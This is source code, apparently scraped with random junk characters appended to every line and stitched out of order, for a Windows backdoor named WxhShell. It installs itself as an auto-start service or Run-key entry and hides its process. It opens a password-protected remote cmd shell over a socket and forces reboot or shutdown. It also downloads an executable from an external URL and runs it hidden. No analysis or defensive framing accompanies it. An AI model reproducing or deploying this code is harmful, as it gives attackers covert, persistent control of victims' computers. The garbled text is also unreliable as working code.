    if(Boot(SHUTDOWN)) _]Ob)RUVH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WpE "A  
    else { Xf7]+  
    closesocket(wsh); nC??exc  
    ExitThread(0); eUCBQK  
    } 7iM@BeIf  
    break;  Q$`uZ  
    } BSd.7W;cS=  
  // 获取shell _G<Wq`0w)  
  case 's': { G}NqVbZ9]  
    CmdShell(wsh); >< S2o%u~  
    closesocket(wsh); 5pY|RV6:  
    ExitThread(0);  DQV9=  
    break; 2Y[n  
  } Y*#TfWv:  
  // 退出 ls9Y?  
  case 'x': { y<R5}F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jHatUez4O  
    CloseIt(wsh); b{-|q6  
    break; ]S9Z5l0  
    } :-hVbS0I  
  // 离开 UMD\n<+cG,  
  case 'q': { x 00'wY|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wnXU=  
    closesocket(wsh); !m'Rp~t  
    WSACleanup(); })uyq_nz  
    exit(1); c0&! S-4M  
    break; :2vuc!Pu  
        } OR|Jc+LT  
  } b~)2`l  
  } E|_8#xvb  
c`lL&*]  
  // 提示信息 Wk/Q~ o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !SGRK01  
} ?GLCd7TP  
  } w6mYLK%  
]{+Y!tD  
  return; L %ifl:K  
} ^4\0, >  
e(b$LUV  
// shell模块句柄 r6aIW8  
int CmdShell(SOCKET sock) 2* T Ir  
{ D88IU9V&n  
STARTUPINFO si; r[7*1'. p  
ZeroMemory(&si,sizeof(si)); w6Mv%ZO_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TMs Cl6dB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tBl (E  
PROCESS_INFORMATION ProcessInfo; ^x^(Rk}|  
char cmdline[]="cmd"; l)jP!k   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [fvjvN`  
  return 0; r5(efTgAd+  
} s+&0Z3+  
sP% b? 6  
// 自身启动模式 TA:#K  
int StartFromService(void) -3b_}by  
{ j:2 F97  
typedef struct >/%XP_q%`e  
{ }rs>B,=*k  
  DWORD ExitStatus; RVs=s}|>*  
  DWORD PebBaseAddress; psz0q|  
  DWORD AffinityMask; :+ 1Wmg  
  DWORD BasePriority; Up_"qD6  
  ULONG UniqueProcessId; T;PLUjp}  
  ULONG InheritedFromUniqueProcessId; -'*<;]P+.  
}   PROCESS_BASIC_INFORMATION; 01RW|rN  
H}CmSo8&  
PROCNTQSIP NtQueryInformationProcess; q68m*1?y  
9GTp};Kg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3%Q9521  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #@1(  
4HGS  
  HANDLE             hProcess; ST g} Z  
  PROCESS_BASIC_INFORMATION pbi; "i*gJFW|  
V(io!8,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Rs"G8Q9Q  
  if(NULL == hInst ) return 0; n)35-?R/M  
'W("s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p_EM/jI,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wfc~"GQq4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uNw9g<g:V[  
HRu;*3+%>F  
  if (!NtQueryInformationProcess) return 0; D$NpyF.87  
X2:23j<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WlGT&m&2  
  if(!hProcess) return 0; I6@"y0I  
|~18MW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AUIp vd  
WNKP';(a@G  
  CloseHandle(hProcess); NN5Ejr,  
kh#fUAt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fl2XI=[v4  
if(hProcess==NULL) return 0; Y ZuA"l Y  
N|Xm{@C  
HMODULE hMod; H5:f&m  
char procName[255]; SN\c 2^#  
unsigned long cbNeeded; 0O*kC43E_  
p7r/`_'|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tp&|*M3  
A%^7D.j  
  CloseHandle(hProcess); }owl7G3  
*BF[thB:a  
if(strstr(procName,"services")) return 1; // 以服务启动  j},i=v  
l5KO_"hy  
  return 0; // 注册表启动 27$,D XD  
} d/~g3n>|  
u3tT=5.D  
// 主模块 U)aftH *Pk  
int StartWxhshell(LPSTR lpCmdLine) .|s,':hA  
{ j4]3}t0q  
  SOCKET wsl; _z 5W*..  
BOOL val=TRUE; +PKsiUJ|  
  int port=0; Y}<%~z#.4  
  struct sockaddr_in door; 1Ax;|.KQH  
%yk_(3a  
  if(wscfg.ws_autoins) Install(); o[+t}hC[  
wArfnB&  
port=atoi(lpCmdLine); 6f ?,v5  
Vry_X2  
if(port<=0) port=wscfg.ws_port; HSAr6h  
6h %rt]g  
  WSADATA data; wp> z04  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @>V;guJC%  
DZ`m{l3H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YgS,5::SU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <c!gg7@pm  
  door.sin_family = AF_INET; v7`{6Pf_$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4i+%~X@p  
  door.sin_port = htons(port); N>]J$[j  
#k`gm)|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \^RKb-6n  
closesocket(wsl); U F*R1{  
return 1; P~iZae  
} ',LC!^:~Nw  
?#z<<FR  
  if(listen(wsl,2) == INVALID_SOCKET) { ._`rh  
closesocket(wsl); &oy')\H  
return 1; W7!iYxO  
} w1aoEo"S  
  Wxhshell(wsl); ylQj2B,CB  
  WSACleanup(); SO[ u4b_"h  
xk7Dx}  
return 0; *kYGXT,f]  
N#t`ZC&m'  
} MtN!Xx  
$60`Hh 4/  
// 以NT服务方式启动 >V)"TZH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1<_/Qu>V  
{ AYN dV(  
DWORD   status = 0; |5X[/Q*K`W  
  DWORD   specificError = 0xfffffff; [;sTl~gC  
BOq9\g`5s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P?P.QK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %b4tyX:N0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5$cjCjY  
  serviceStatus.dwWin32ExitCode     = 0; w-LENdw  
  serviceStatus.dwServiceSpecificExitCode = 0; :2,NKdD  
  serviceStatus.dwCheckPoint       = 0; \hBzP^*"n  
  serviceStatus.dwWaitHint       = 0; ~dpf1fP  
Qx8(w"k*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CS(2bj^6 D  
  if (hServiceStatusHandle==0) return; p:W]  
.jk A'i@  
status = GetLastError(); ;e/F( J  
  if (status!=NO_ERROR) 18Z1F  
{ }*xjO/Ey  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "d0=uHd5\  
    serviceStatus.dwCheckPoint       = 0; e6J^J&`|4  
    serviceStatus.dwWaitHint       = 0; 7Zd g314  
    serviceStatus.dwWin32ExitCode     = status; -57~7 <N  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9:-7.^`P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }f?[m&<  
    return; E]GbLU;TH  
  } A~<!@`NjB  
[(5.?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `&OX|mL^w  
  serviceStatus.dwCheckPoint       = 0; #9!7-!4pW  
  serviceStatus.dwWaitHint       = 0; : MjDcI~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ov;^ev,(  
} +jF2 {"  
q#8yU\J|,  
// 处理NT服务事件,比如:启动、停止 2.b,8wT/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W ulyM cJ  
{ bE'{zU}o  
switch(fdwControl) 0gaHYqkA>}  
{ yGAFQ|+  
case SERVICE_CONTROL_STOP: ^7YNM<_%@  
  serviceStatus.dwWin32ExitCode = 0; )Se$N6u-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fi`\e W  
  serviceStatus.dwCheckPoint   = 0; (tg9"C  
  serviceStatus.dwWaitHint     = 0; <p*k-mfr  
  { #5z0~Mg-X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GJr mK  
  } L+<h 5>6  
  return; 2Ki_d  
case SERVICE_CONTROL_PAUSE: {5<fvMO!6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >V27#L2:J  
  break; bp=r]nO  
case SERVICE_CONTROL_CONTINUE: 4R\jZ@D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jHn7H)F8  
  break; ftR& 5 !Wm  
case SERVICE_CONTROL_INTERROGATE: 83t/ \x,Q  
  break; 'hs4k|B  
}; %'2.9dB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7H< IO`  
} *URT-+'  
tzIP4CR~F&  
// 标准应用程序主函数 111A e *U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5:f!EMb  
{ L6{gwoZf3  
F=1 #qo<?  
// 获取操作系统版本 1(IZ,*i  
OsIsNt=GetOsVer(); P@vUQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L-D4>+  
ob;|%_  
  // 从命令行安装 z06,$OYz  
  if(strpbrk(lpCmdLine,"iI")) Install(); /YHO"4Z  
d-+jb<C&  
  // 下载执行文件 3-{BXht)  
if(wscfg.ws_downexe) { U{M3QOF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @=dv[P" jn  
  WinExec(wscfg.ws_filenam,SW_HIDE); x0(bM g>7  
} 2(@2 z[eKr  
xwof[BnEZ  
if(!OsIsNt) { |`#fX(=  
// 如果时win9x,隐藏进程并且设置为注册表启动 E(|A"=\  
HideProc(); # 5)/B  
StartWxhshell(lpCmdLine); v>B412l  
} __.MS6"N  
else f?)7MR=  
  if(StartFromService()) <;PKec  
  // 以服务方式启动 J*$%d1  
  StartServiceCtrlDispatcher(DispatchTable); )-Hs]D:  
else "}*D,[C5e  
  // 普通方式启动 Qa )+Tv  
  StartWxhshell(lpCmdLine); 2WFZ6  
$a*7Q~4  
return 0;  7N[".V]c  
} NOXP}M  
lsOv#X-b E  
PD0&ep1h7G  
bN zb#P#hP  
=========================================== D~ Y6%9  
n*wQgC'vw  
ra T9  
m]>zdP+  
e! *] y&W  
QTi@yT:  
" 9Sxr9FLW~  
6Qt(Yu*s  
#include <stdio.h> [_(J8~ va  
#include <string.h> @NRN#~S,_]  
#include <windows.h> $5JeN{B  
#include <winsock2.h> |du%c`wl  
#include <winsvc.h> 018SFle  
#include <urlmon.h> BA2"GJvfIA  
O?Bf (y  
#pragma comment (lib, "Ws2_32.lib") v7 *L3Ol  
#pragma comment (lib, "urlmon.lib") :&vX0 Ce:  
?IHt T3'Rt  
#define MAX_USER   100 // 最大客户端连接数 uv/\1N;V3  
#define BUF_SOCK   200 // sock buffer jj2iF/  
#define KEY_BUFF   255 // 输入 buffer Intuda7e1  
b},2A'X  
#define REBOOT     0   // 重启 G^k'sgy.  
#define SHUTDOWN   1   // 关机 5+M,X kg  
`5?0yXK  
#define DEF_PORT   5000 // 监听端口 `z(o01y  
CsA(oX  
#define REG_LEN     16   // 注册表键长度 vu*e*b$}  
#define SVC_LEN     80   // NT服务名长度 2lpPN[~d  
))|d~m  
// 从dll定义API T:@6(_Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yogavCD9b/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vF$( Y/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N<:c*X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]|CcQ1#|H  
Yvo*^jv  
// wxhshell配置信息 @Z ==B%`  
struct WSCFG { 1Q(KZI  
  int ws_port;         // 监听端口 l2St)`K8  
  char ws_passstr[REG_LEN]; // 口令 y2_rm   
  int ws_autoins;       // 安装标记, 1=yes 0=no @^UgdD,BS,  
  char ws_regname[REG_LEN]; // 注册表键名 mcd{:/^?  
  char ws_svcname[REG_LEN]; // 服务名 wG[n wt0L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f%o[eW#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HRyFjAR\?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qhGz2<}_j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _HHvL=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #kM|!U=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MRt"#CO  
metn&  
}; vYV!8o.I  
BrE#.g Jq  
// default Wxhshell configuration paIjXaU1Mb  
struct WSCFG wscfg={DEF_PORT, o(SPT?ao~  
    "xuhuanlingzhe", ,yGbMOV  
    1, YQN:&Cls  
    "Wxhshell", E,6|-V;?  
    "Wxhshell", $M)i]ekm  
            "WxhShell Service",  U=~?ca  
    "Wrsky Windows CmdShell Service", *0>`XK$mWo  
    "Please Input Your Password: ", MT~^wI0a  
  1, ]!{S2x&"  
  "http://www.wrsky.com/wxhshell.exe", ]M*`Y[5"  
  "Wxhshell.exe" I:TbZ*vi~  
    }; "Wg,]$IvU  
:1*E5pX0n  
// 消息定义模块 $VHIU1JjZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -orRmn6}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0!3. .5==  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T&'Jc  
char *msg_ws_ext="\n\rExit."; ?A|JKOst]  
char *msg_ws_end="\n\rQuit."; wPM>-F  
char *msg_ws_boot="\n\rReboot..."; IQO|)53)  
char *msg_ws_poff="\n\rShutdown..."; >g{&Qx`&  
char *msg_ws_down="\n\rSave to "; 2/ 4zg  
wH o}wp  
char *msg_ws_err="\n\rErr!"; Nj4CkMM[3  
char *msg_ws_ok="\n\rOK!"; ]oV{JR]  
 b M1\z  
char ExeFile[MAX_PATH]; |iH MAo  
int nUser = 0; g&  e u  
HANDLE handles[MAX_USER]; EU[eG^/0@  
int OsIsNt; dB_0B .  
J]TqH`MA  
SERVICE_STATUS       serviceStatus; _l7_!Il_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `Jc/ o=]  
?2&= +QaT  
// 函数声明 dHIk3j-!  
int Install(void); Q)0KYKD+@  
int Uninstall(void); Qz[^J  
int DownloadFile(char *sURL, SOCKET wsh); /Ot3[B  
int Boot(int flag); @G2# Z  
void HideProc(void); zE/l  
int GetOsVer(void); wvq4 P  
int Wxhshell(SOCKET wsl); +XsE  
void TalkWithClient(void *cs); YYn8!FIe  
int CmdShell(SOCKET sock); &NBH'Rt  
int StartFromService(void); BEaF-*?A  
int StartWxhshell(LPSTR lpCmdLine); _!o8s%9be  
'w=|uE {^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !0@4*>n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o9e8Oj&  
T9V=#+8#"  
// 数据结构和表定义 )9`HO?   
SERVICE_TABLE_ENTRY DispatchTable[] = Hnt*,C.0  
{ jXeE]A"  
{wscfg.ws_svcname, NTServiceMain}, Csuasi3]1d  
{NULL, NULL} vT Eq T  
}; 4 -tC=>>wc  
S&}7XjY  
// 自我安装 [bHm-X]  
int Install(void) ~g=& wT11  
{ @\&j3A  
  char svExeFile[MAX_PATH]; T$lV+[7  
  HKEY key;  .+1I>L  
  strcpy(svExeFile,ExeFile); #sc!H4  
!*:g??[T  
// 如果是win9x系统,修改注册表设为自启动 62HA[cr&)  
if(!OsIsNt) { 06]3+s{{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E'a OHSAg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X\Bl? F   
  RegCloseKey(key); |s! _;6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^Q`5+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aPelt`  
  RegCloseKey(key); gw"cXny  
  return 0; L-w3A:jk  
    } !s-A`} s+  
  } tG$O[f@U6  
} [gBf1,bK  
else { A6=Z2i0w>X  
|,,#DSe  
// 如果是NT以上系统,安装为系统服务 gttsxOgktH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h,Hr0^?  
if (schSCManager!=0) ,}IcQu'O  
{ f`Fj-<v  
  SC_HANDLE schService = CreateService Acw`ytV  
  ( u9@B&  
  schSCManager, ,ho",y  
  wscfg.ws_svcname, g,\kLTg  
  wscfg.ws_svcdisp, ,<L4tp+y0  
  SERVICE_ALL_ACCESS, 16/  V5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 06&;GW!-  
  SERVICE_AUTO_START, \]<R`YMV  
  SERVICE_ERROR_NORMAL, h&j2mv(  
  svExeFile, DD=X{{;D\"  
  NULL, ( 3B1X  
  NULL, Em&3g  
  NULL, s@{82}f~  
  NULL, Zeg'\&w0s  
  NULL w3(G!:  
  ); /FN:yCf  
  if (schService!=0) &pzL}/u  
  { )L9eLxI  
  CloseServiceHandle(schService); Trs~KcsD  
  CloseServiceHandle(schSCManager); E'\gd7t ;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *}89.kCBF  
  strcat(svExeFile,wscfg.ws_svcname); )(G<(eiD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tlQ6>v'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W]eILCo  
  RegCloseKey(key); l!:bNMd  
  return 0; #k9&OS?  
    } tM"vIz 05  
  } dQIF '==6  
  CloseServiceHandle(schSCManager); =7+%31  
} K uwhA-IL  
} :-d#kU  
*}C%z(  
return 1; @2"3RmYLo  
} 5Yv*f:  
D 1.59mHsD  
// 自我卸载 68?&`/t  
int Uninstall(void) R_G2C@y*  
{ 1K3XNHF  
  HKEY key; /)TeG]Xg  
-E\G3/*51  
if(!OsIsNt) { /rZk^/'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4S'e>:  
  RegDeleteValue(key,wscfg.ws_regname); o`n8Fk}i  
  RegCloseKey(key); X i"9y @  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &qWg$_Yh  
  RegDeleteValue(key,wscfg.ws_regname); cV>?*9z0  
  RegCloseKey(key); p|->z  
  return 0; 6kp)'wz`  
  } aiX&`   
} 9c]$d  
} H&ek"nP_  
else { AT I=&O`  
UhW{KIW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KOe]JDU  
if (schSCManager!=0) Kv* 1=HES  
{ #6c,_!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SHYekX  
  if (schService!=0) fwt+$`n  
  { ?jMM@O`Nu  
  if(DeleteService(schService)!=0) { !7\dr )  
  CloseServiceHandle(schService); 9QP=  
  CloseServiceHandle(schSCManager); h:bx0:O"  
  return 0; di_UJ~  
  } fZf>>mu@r'  
  CloseServiceHandle(schService); H%m^8yW1  
  } X$==J St  
  CloseServiceHandle(schSCManager); {P?Ge  
}  Fw[1Aa#  
} hvTc( 0;mB  
<9>L^GgXA  
return 1; ^e^-1s  S  
} agfDx ^,  
m>Wt'Cc  
// 从指定url下载文件 B> E4,"  
int DownloadFile(char *sURL, SOCKET wsh) 7Q{&L#;  
{ 4wKCz Py  
  HRESULT hr; x=>dmi3  
char seps[]= "/"; O=U,x-Wl  
char *token; kVsX/ ~$  
char *file; G$YF0Nc  
char myURL[MAX_PATH]; NUnwf h  
char myFILE[MAX_PATH]; qDG x (d  
NblPVxS  
strcpy(myURL,sURL); uD{-a$6z  
  token=strtok(myURL,seps); 4?@5JpC9VA  
  while(token!=NULL) $o+@}B0)  
  {  ^4WZ%J#g  
    file=token; A?HDY_u  
  token=strtok(NULL,seps); #vK99 S2  
  } EIzTbW{p  
e?(4lD)d  
GetCurrentDirectory(MAX_PATH,myFILE); O~8jz  
strcat(myFILE, "\\"); Wp = ]YO  
strcat(myFILE, file); Z5rL.a&  
  send(wsh,myFILE,strlen(myFILE),0); pDP* 3  
send(wsh,"...",3,0); kxe{HxM$Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b/.EA' /  
  if(hr==S_OK) TQt[he$O  
return 0; d^?e*USh  
else |o eg'T  
return 1; UBv#z&@[  
H '5zl^8I  
} -"yma_  
$n8&5<  
// 系统电源模块 Dp*:oMATx0  
int Boot(int flag) ^&F.T-(A  
{ vKoQ!7g  
  HANDLE hToken; ?a+J4Zr3  
  TOKEN_PRIVILEGES tkp; [EPRBK`=  
_Hq)@A I   
  if(OsIsNt) { M| }?5NS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ( q*/=u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .gNJY7`b  
    tkp.PrivilegeCount = 1; H RahBTd(z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %A `9[icy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y"5FK  
if(flag==REBOOT) { @pvQci  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y1Br4K5C  
  return 0; kazgI>"Q8  
} I&8!V)r)  
else { Wf:X) S7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "JF   
  return 0; siuDg,uqK5  
} :ldI1*@i<  
  } 3KD:JKn^  
  else { sFfargl  
if(flag==REBOOT) { =`}|hI   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <vg|8-,#m  
  return 0; NSRY(#3  
} +;@R&Y  
else { Xa}y.qH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h _c11#  
  return 0; j*VYUM@y1\  
} 29@m:=-}7  
} s*CBYzOm  
Ki :98a$  
return 1; OpOR!  
} 5 a&a-(  
r,,*kE  
// win9x进程隐藏模块 R=NK3iGTf  
void HideProc(void) 4tiCxf)  
{ V,7Xeh(+5L  
kU)E-h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v~^*L iP+  
  if ( hKernel != NULL ) Ov:U3P?%  
  { 7'{%djL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3gCP?%R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kv5 !cll5  
    FreeLibrary(hKernel); #B$_ily)  
  } X=Y>9  
]nS9taEA   
return; I*+*Wf  
} oXwcil  
jfR!M07|  
// 获取操作系统版本 (=53WbOh/t  
int GetOsVer(void) cpq0' x\  
{ O,&p"K&Z  
  OSVERSIONINFO winfo; %[?{H} y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q `h@-6N  
  GetVersionEx(&winfo); 5zJ#d}%}S"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [HRP&jr  
  return 1; Xs4G#QsA J  
  else 2c9]Ja3:6  
  return 0; q={3fm  
} Gnqun%  
(j)>npOd9  
// 客户端句柄模块 P^/e!%UgC  
int Wxhshell(SOCKET wsl) :;3y^!  
{ FbPoyh  
  SOCKET wsh; t-hN4WKH_A  
  struct sockaddr_in client; !\Q/~p'jS  
  DWORD myID; Y,%G5X@S<  
W<H^V"^  
  while(nUser<MAX_USER) ra\2BS)X  
{ &2Cu"O'.i  
  int nSize=sizeof(client); JR/^Go$^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4mWT"T-8  
  if(wsh==INVALID_SOCKET) return 1; q'[yYPDX5x  
K@=_&A!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -QydUr/(o  
if(handles[nUser]==0) \xtmd[7lb<  
  closesocket(wsh); j98>Jr\  
else u $T'#p1  
  nUser++; /#4BUfY f  
  } Dmk~t="Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #w]:<R^  
1QDAfRx  
  return 0; VV~Kgy  
} 7G8M+i3q/  
8!dA1]2;  
// 关闭 socket !P* z=  
void CloseIt(SOCKET wsh) e,0Gc-X[B  
{ dzc.s8T(0  
closesocket(wsh); 5zI I4ukn*  
nUser--; b"#|0d0  
ExitThread(0); )x&}{k6 %  
} e0u* \b  
$30lNZK1m8  
// 客户端请求句柄 uw&'=G6v  
void TalkWithClient(void *cs) )e:u 6]  
{ uJHf6Ye  
>RT02Ey>  
  SOCKET wsh=(SOCKET)cs; K5q9u-7  
  char pwd[SVC_LEN]; (A8X|Y  
  char cmd[KEY_BUFF]; `_&7-;)i*\  
char chr[1]; O!\\m0\ e  
int i,j; {-Y% wM8<i  
xyTjK.N  
  while (nUser < MAX_USER) { ,n?oNU  
HveOG$pT  
if(wscfg.ws_passstr) { DJhCe==$v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mi"dFx^Md  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E MKv)5MH  
  //ZeroMemory(pwd,KEY_BUFF); du4Q^-repC  
      i=0; KrT+Svm  
  while(i<SVC_LEN) { H@,(  
U.QjB0;  
  // 设置超时 KC{ HX?  
  fd_set FdRead; GKKf#r74  
  struct timeval TimeOut; ^cF_z}Zi+  
  FD_ZERO(&FdRead); =h 2zIcj  
  FD_SET(wsh,&FdRead); "S@%d(lg  
  TimeOut.tv_sec=8; B?J #NFUb  
  TimeOut.tv_usec=0; U_c.Z{lC4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]`Y;4XR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :X;' 37o#q  
hpJi,4r.d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hK&/A+*  
  pwd=chr[0]; <$'OSN`!  
  if(chr[0]==0xd || chr[0]==0xa) { GoNX\^A  
  pwd=0; ,0=:06l  
  break; "+V.Yue`R  
  } @'EU\Y\l  
  i++; n +z5;'my  
    } vrD]o1F  
$fA%_T_P'P  
  // 如果是非法用户,关闭 socket bO%bMZWB!y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RcH",*U  
} f?1?$Sp/W  
H)5v X+9D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rOu7r4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bytAdS$3  
SXA_P{j&a  
while(1) { ;'r} D!8w/  
cmv&!Egd  
  ZeroMemory(cmd,KEY_BUFF); C. Hr  
|Tp>,\:5  
      // 自动支持客户端 telnet标准   DLv\]\h}L  
  j=0; .W<yiB}^  
  while(j<KEY_BUFF) { zviEk/:zm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iIoeG_^*Y  
  cmd[j]=chr[0]; 4c*?9r@  
  if(chr[0]==0xa || chr[0]==0xd) { EI*B(  
  cmd[j]=0; -*u7MFq_  
  break; /=}w%-;/;  
  } b*xw=G3%  
  j++; >>voLDDd  
    } /8i3I5*  
7 Ld5  
  // 下载文件 X rVF %  
  if(strstr(cmd,"http://")) { j ,' $i[F'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Eh)PZvH  
  if(DownloadFile(cmd,wsh)) |P si?'4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h7|#7 d  
  else r9Wk7?w)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O$ 7R<V  
  } `)5E_E3  
  else { *eAsA(;  
#%xzy@`  
    switch(cmd[0]) { EencMi7J  
  c-L1 Bkw  
  // 帮助 QQUYWC  
  case '?': { Fcc\hV;  
